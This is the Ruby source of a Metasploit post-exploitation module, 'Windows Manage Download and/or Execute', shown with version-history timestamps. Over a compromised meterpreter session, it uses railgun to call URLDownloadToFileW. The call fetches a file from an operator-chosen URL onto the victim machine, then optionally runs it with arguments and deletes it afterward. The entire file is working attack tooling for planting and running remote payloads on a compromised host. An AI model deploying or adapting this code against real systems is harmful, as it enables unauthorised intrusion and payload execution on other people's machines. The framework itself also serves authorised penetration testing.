metasploit-framework/modules/post/windows/manage/download_exec.rb

139 lines
3.9 KiB
Ruby
Raw Normal View History

2012-01-23 04:25:49 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/common'
2012-01-23 04:25:49 +00:00
class Metasploit3 < Msf::Post
2012-01-23 04:25:49 +00:00
include Msf::Post::File
include Msf::Post::Common
2012-01-23 04:25:49 +00:00
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage Download and/or Execute",
'Description' => %q{
This module will download a file by importing urlmon via railgun.
The user may also choose to execute the file with arguments via exec_string.
},
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['RageLtMan']
))
register_options(
[
OptString.new('URL', [true, 'Full URL of file to download' ]),
OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
OptString.new('FILENAME', [false, 'Name for downloaded file' ]),
OptBool.new( 'OUTPUT', [true, 'Show execution output', true ]),
OptBool.new( 'EXECUTE', [true, 'Execute file after completion', false ]),
2012-01-23 04:25:49 +00:00
], self.class)
register_advanced_options(
[
OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]),
OptBool.new( 'DELETE', [true, 'Delete file after execution', false ]),
2012-01-23 04:25:49 +00:00
], self.class)
end
# Check to see if our dll is loaded, load and configure if not
def add_railgun_urlmon
if client.railgun.dlls.find_all {|d| d.first == 'urlmon'}.empty?
session.railgun.add_dll('urlmon','urlmon')
session.railgun.add_function(
'urlmon', 'URLDownloadToFileW', 'DWORD',
[
['PBLOB', 'pCaller', 'in'],
['PWCHAR','szURL','in'],
['PWCHAR','szFileName','in'],
['DWORD','dwReserved','in'],
['PBLOB','lpfnCB','inout']
])
vprint_good("urlmon loaded and configured")
2012-01-23 04:25:49 +00:00
else
vprint_status("urlmon already loaded")
2012-01-23 04:25:49 +00:00
end
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if session.type != "meterpreter"
# get time
strtime = Time.now
# check/set vars
url = datastore["URL"]
filename = datastore["FILENAME"] || url.split('/').last
download_path = session.fs.file.expand_path(datastore["DOWNLOAD_PATH"])
if download_path.nil? or download_path.empty?
path = session.fs.file.expand_path("%TEMP%")
else
path = download_path
end
2012-01-23 04:25:49 +00:00
outpath = path + '\\' + filename
exec = datastore["EXECUTE"]
exec_string = datastore["EXEC_STRING"] || ''
2012-01-23 04:25:49 +00:00
output = datastore['OUTPUT']
remove = datastore['DELETE']
# set up railgun
add_railgun_urlmon
# get our file
vprint_status("Downloading #{url} to #{outpath}")
2012-01-23 04:25:49 +00:00
client.railgun.urlmon.URLDownloadToFileW(nil,url,outpath,0,nil)
# check our results
begin
out = session.fs.file.stat(outpath)
print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
rescue
print_error("File not found. The download probably failed")
return
end
2012-01-23 04:25:49 +00:00
# Execute file upion request
2012-01-23 04:25:49 +00:00
if exec
begin
cmd = outpath + ' ' + exec_string
# If we don't have the following gsub, we get this error in Windows:
# "Operation failed: The system cannot find the file specified"
cmd = cmd.gsub(/\\/, '\\\\\\')
print_status("Executing file: #{cmd}")
res = cmd_exec(cmd)
print_good(res) if output and not res.empty?
rescue ::Exception => e
print_error("Unable to execute: #{e.message}")
end
end
2012-01-23 04:25:49 +00:00
# remove file if needed
if remove
begin
print_status("Deleting #{outpath}")
2012-01-23 04:25:49 +00:00
session.fs.file.rm(outpath)
rescue ::Exception => e
print_error("Unable to remove file: #{e.message}")
2012-01-23 04:25:49 +00:00
end
end
end
end